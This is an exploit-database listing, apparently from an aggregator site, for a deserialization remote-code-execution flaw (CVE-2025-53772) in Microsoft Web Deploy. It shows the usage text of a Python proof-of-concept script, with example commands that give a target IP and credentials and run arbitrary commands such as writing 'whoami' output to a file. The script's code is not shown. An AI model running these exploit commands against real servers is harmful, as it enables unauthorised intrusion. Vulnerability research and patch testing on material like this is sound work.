Exploit for Deserialization of Untrusted Data in Microsoft CVE-2025-53772

Name: Exploit for Deserialization of Untrusted Data in Microsoft CVE-2025-53772
Rating: 5 (148 reviews)

2025-12-10 | CVSS 8.8

## https://sploitus.com/exploit?id=2A6C7E68-54B6-5138-A201-8BADD269ED00
# CVE-2025-53772
poc for cve-2025-53772

```
CVE-2025-53772 - Microsoft Web Deploy RCE Exploit (Standalone)
All-in-one: Generates payload + sends exploit - No C#/.NET required

Usage:
    python3 CVE-2025-53772_standalone.py -t  -u  -P  -c 
    python3 CVE-2025-53772_standalone.py -t 192.168.1.100 -u admin -P Pass123 --calc
    python3 CVE-2025-53772_standalone.py -t 192.168.1.100 -u admin -P Pass123 --webroot
    python3 CVE-2025-53772_standalone.py -t 192.168.1.100 -u admin -P Pass123 -c "whoami > C:\\temp\\pwn.txt"
```

Ref: https://hawktrace.com/blog/cve-2025-53772